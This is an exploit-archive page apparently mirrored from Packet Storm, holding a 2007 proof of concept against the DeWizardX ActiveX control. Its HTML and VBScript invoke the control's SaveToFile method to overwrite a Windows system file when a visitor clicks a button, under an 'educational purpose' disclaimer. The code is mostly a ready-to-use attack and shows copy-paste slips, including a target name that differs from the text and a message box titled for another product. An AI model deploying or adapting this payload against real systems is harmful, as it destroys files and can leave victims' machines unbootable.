Lucene search

K

dewizardx-overwrite.txt

🗓️ 17 May 2007 00:00:00Reported by shinnaiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

Remote Arbitrary File Overwrite Exploit for DB Software Laboratory DeWizard

Show more
Code
`<pre>  
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/15</b></p></span>  
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------  
<b>DB Software Laboratory DeWizardX (DEWizardAX.ocx) Remote Arbitrary File Overwrite</b>  
url: http://www.dbsoftlab.com  
price: $100  
  
author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://shinnai.altervista.org  
  
This was written for educational purpose. Use it at your own risk.  
Author will be not be responsible for any damage.  
  
<b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF  
IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>  
  
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7  
all software that use this ocx are vulnerable to these exploits.  
-----------------------------------------------------------------------------------  
  
<object classid='clsid:90403303-EF21-4771-A41A-651089892EDD' id='test'></object>  
  
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">  
  
<script language='vbscript'>  
Sub tryMe  
On Error Resume Next  
Dim MyMsg  
If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _  
"Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _  
"THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _  
" OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _  
" SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then  
test.SaveToFile "c:\windows\system_.ini"  
MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/11 - Morovia Barcode")  
Else  
MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/15 - DB Software Laboratory")  
End If   
End Sub  
</script>  
</span></span>  
</code></pre>  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
17 May 2007 00:00Current
7.4High risk
Vulners AI Score7.4
17
.json
Report